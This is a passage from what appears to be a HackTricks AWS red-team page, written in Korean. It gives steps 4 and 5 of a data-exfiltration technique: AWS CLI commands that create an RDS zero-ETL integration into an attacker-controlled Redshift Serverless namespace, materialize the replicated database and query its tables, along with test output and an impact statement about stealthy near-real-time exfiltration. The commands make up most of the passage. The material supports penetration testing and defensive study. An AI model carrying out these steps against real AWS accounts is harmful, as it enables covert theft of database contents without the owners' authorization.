4) RDS에서 zero‑ETL 통합 생성 ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Redshift에서 복제된 데이터를 물리화하고 쿼리하기 ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

테스트에서 관찰된 증거:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:…377a462b-…
  • SVV_INTEGRATION은 integration_id 377a462b-c42c-4f08-937b-77fe75d98211과 상태 PendingDbConnectState를 DB 생성 이전에 보여주었습니다.
  • CREATE DATABASE FROM INTEGRATION 이후 테이블을 나열해보니 스키마 ztl과 테이블 customers가 나타났고, ztl.customers에서 조회하면 2개의 행(Alice, Bob)이 반환되었습니다.

영향: 데이터베이스 자격 증명, 백업, 또는 소스 클러스터에 대한 네트워크 접근을 사용하지 않고, attacker가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블들을 지속적이고 거의 실시간으로 exfiltration할 수 있음.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기